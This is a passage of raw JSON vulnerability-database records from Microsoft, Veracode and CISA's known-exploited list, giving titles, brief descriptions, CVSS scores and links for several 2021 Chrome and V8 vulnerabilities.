"version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-02-05T08:00:00", "id": "MS:CVE-2021-21148", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-21148", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-17T02:34:07", "description": "This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](<https://chromereleases.googleblog.com/2021>) for more information. Microsoft is aware of reports that exploits for CVE-2021-30551 exist in the wild.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-11T07:00:00", "type": "mscve", "title": "Chromium: CVE-2021-30551 Type Confusion in V8", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30551"], "modified": "2021-06-11T07:00:00", "id": "MS:CVE-2021-30551", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-30551", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-17T02:33:41", "description": "This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](<https://chromereleases.googleblog.com/2021>) for more information.\n\nThis vulnerability is known to be exploited in the wild.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-01T07:00:00", "type": "mscve", "title": "Chromium: CVE-2021-37975 Use after free in V8", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37975"], "modified": "2021-10-01T07:00:00", "id": "MS:CVE-2021-37975", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-37975", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-17T02:33:41", "description": "This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](<https://chromereleases.googleblog.com/2021>) for more information.\n\nThis vulnerability is known to be exploited in the wild.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.6}, "published": "2021-10-01T07:00:00", "type": "mscve", "title": "Chromium: CVE-2021-37976 Information leak in core", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37976"], "modified": "2021-10-01T07:00:00", "id": "MS:CVE-2021-37976", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-37976", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-03-17T02:33:33", "description": "This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](<https://chromereleases.googleblog.com/2021>) for more information. Google is aware that exploits for this vulnerability exist in the wild.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2021-10-29T16:52:18", "type": "mscve", "title": "Chromium: CVE-2021-38000 Insufficient validation of untrusted input in Intents", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38000"], "modified": "2021-10-29T16:52:18", "id": "MS:CVE-2021-38000", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38000", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}], "veracode": [{"lastseen": "2022-07-17T12:46:14", "description": "chrome is vulnerable to remote code execution. The vulnerability exists due to a use-after-free error within the Sign-In component in Google Chrome. \n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-11-09T15:16:24", "type": "veracode", "title": "Remote Code Execution (RCE)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38002"], "modified": "2022-02-28T21:30:35", "id": "VERACODE:32884", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-32884/summary", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-26T13:51:02", "description": "chromium:sid is vulnerable to use after free.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-21T17:43:24", "type": "veracode", "title": "Use After Free", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21206"], "modified": "2021-06-03T17:39:28", "id": "VERACODE:30080", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-30080/summary", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-26T13:51:19", "description": "chromium is vulnerable to arbitrary code execution. A use-after-free in Blink allows a remote attacker to exploit a heap corruption via a malicious HTML page.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-03-17T01:19:06", "type": "veracode", "title": "Arbitrary Code Execution", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21193"], "modified": "2021-12-03T20:11:58", "id": "VERACODE:29724", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-29724/summary", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-26T13:50:50", "description": "chromium is vulnerable to type confusion. The vulnerability is triggered by performing integer data type conversion, creating an out-of-bounds condition that could cause arbitrary memory read/write primitive.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-23T23:06:09", "type": "veracode", "title": "Type Confusion", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21224"], "modified": "2021-06-01T17:14:05", "id": "VERACODE:30147", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-30147/summary", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-26T13:50:56", "description": "chromium is vulnerable to remote code execution. The vulnerability is caused by insufficient validation of untrusted input in V8 for x86_64, Google\u2019s high-performance JavaScript and WebAssembly engine that interprets code embedded in web pages. \n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-21T17:42:46", "type": "veracode", "title": "Remote Code Execution (RCE)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21220"], "modified": "2021-06-01T17:14:10", "id": "VERACODE:30066", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-30066/summary", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-17T12:47:44", "description": "chromium is vulnerable to denial of service. The vulnerability exists due to the use after free in portal api\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-10-07T10:16:20", "type": "veracode", "title": "Denial Of Service (DoS)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37973"], "modified": "2022-03-30T16:41:58", "id": "VERACODE:32426", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-32426/summary", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-17T12:46:30", "description": "chromium-browser:bionic is vulnerable to denial of service.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-09T15:16:27", "type": "veracode", "title": "Denial Of Service (DoS)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38003"], "modified": "2022-02-19T00:37:42", "id": "VERACODE:32885", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-32885/summary", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-26T13:51:43", "description": "chromium is vulnerable to arbitrary code execution. A heap-based buffer overflow in V8 allows a remote attacker to execute arbitrary code on the host OS via a heap corruption via a malicious HTML page.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-10T05:23:19", "type": "veracode", "title": "Arbitrary Code Execution", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-05-17T21:51:19", "id": "VERACODE:29323", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-29323/summary", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-26T16:27:37", "description": "chromium is vulnerable to privilege escalation. The vulnerability exists due to an unknown function of the component V8. The manipulation with an unknown input leads to a privilege escalation vulnerability\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-13T20:01:02", "type": "veracode", "title": "Privilege Escalation", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30551"], "modified": "2021-06-15T06:33:28", "id": "VERACODE:30949", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-30949/summary", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-17T12:47:44", "description": "chromium is vulnerable to denial of service. An attacker is able to crash the system by exploiting a heap corruption via a maliciously crafted HTML page. \n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-07T10:16:25", "type": "veracode", "title": "Denial Of Service (DoS)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37975"], "modified": "2022-02-19T06:36:25", "id": "VERACODE:32428", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-32428/summary", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-17T13:02:59", "description": "chromium-browser:bionic is vulnerable to information leak. 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"2021-11-03T00:00:00", "type": "cisa_kev", "title": "Chromium V8 Use-After-Free Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21193"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-21193", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-08-10T17:26:47", "description": "Type Confusion in V8 in Google Chrome prior to 91.0.4472.164 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML 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"cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Chromium V8 Input Validation Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21220"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-21220", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-08-10T17:26:47", "description": "Use-after-free weakness in Portals, Google's new web page navigation system for Chrome. Successful exploitation can let attackers to execute code.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Google Chrome Use-After-Free Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37973"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-37973", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-08-10T17:26:47", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Google Chromium V8 Incorrect Implementation Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38003"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-38003", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-08-10T17:26:47", "description": "Heap buffer overflow in V8 in Google Chrome prior to 88.0.4324.150 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Chromium V8 JavaScript Rendering Engine Heap Buffer Overflow Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-21148", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": 